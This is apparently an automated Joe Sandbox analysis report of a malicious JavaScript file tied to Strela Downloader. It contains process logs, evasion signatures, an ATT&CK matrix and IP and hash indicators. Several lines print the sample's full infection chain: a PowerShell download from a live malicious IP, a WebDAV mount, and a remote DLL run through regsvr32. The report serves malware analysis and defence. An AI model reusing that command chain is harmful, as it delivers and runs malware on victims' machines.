Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4368			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5515			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6160	Thread sleep count: 4368 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6380	Thread sleep count: 5515 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6596	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6204	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1276	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2101675650.00000211CB868000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2101267367.00000211CB8D0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101814728.00000211CB8D0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3339700054.000001538845A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3338515275.0000015382E2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\227482834732572.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
1972511502582515381.js	5%	Virustotal		Browse
1972511502582515381.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/T	0%	Avira URL Cloud	safe
http://193.143.1.205/invoice.p	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.2049154057.00000283A701F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3339626695.0000015388400000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2118234813.00000153882D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/T	net.exe, 00000007.00000002.2101720713.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2101338179.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/t	net.exe, 00000007.00000002.2101720713.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2101338179.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://193.143.1.205/invoice.p	wscript.exe, 00000000.00000002.2049154057.00000283A701F000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2101675650.00000211CB868000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2101267367.00000211CB8BE000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101720713.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2101720713.00000211CB8C0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2101338179.00000211CB8A3000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587880
Start date and time:	2025-01-10 19:00:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1972511502582515381.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@28/62@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 54.224.241.105, 18.213.11.84, 34.237.241.83, 50.16.47.176, 162.159.61.3, 172.64.41.3, 184.28.90.27, 199.232.210.172, 23.209.209.135, 95.101.148.135, 2.16.168.107, 2.16.168.105, 23.57.90.72, 23.57.90.71, 23.57.90.70, 23.57.90.78, 192.168.2.5, 13.107.246.45, 4.245.163.56, 172.202.163.200
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, e4578.dscb.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, ssl.adobe.com.edgekey.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
13:01:18	API Interceptor	23x Sleep call for process: powershell.exe modified
13:01:22	API Interceptor	1x Sleep call for process: net.exe modified
13:01:23	API Interceptor	2x Sleep call for process: svchost.exe modified
13:01:35	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	12315203731832427262.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1732630681161426175.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2453210565523714481.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13924233483066821789.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19048239772762424923.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241721637114311605.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8306959556100382
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugP:gJjJGtpTq2yv1AuNZRY3diu8iBVqFR
MD5:	DBD63D3BCB212F9CC6F9E170AB7E14F9
SHA1:	03C68CA7CA2929900E8A0F700180EC4AE34F22C1
SHA-256:	DEAAD87AEED8D6F15B8D088DE5805D2484B6B02C29129733216FA6597BF46288
SHA-512:	4B884E6F901462A55DA638D60859F40D6FB5FD660B90F5A4D284D5612F6CB61BAFBFC875842A0A07BB0716A274D82520799E3BAD2428836CBFBF61319EC13333
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

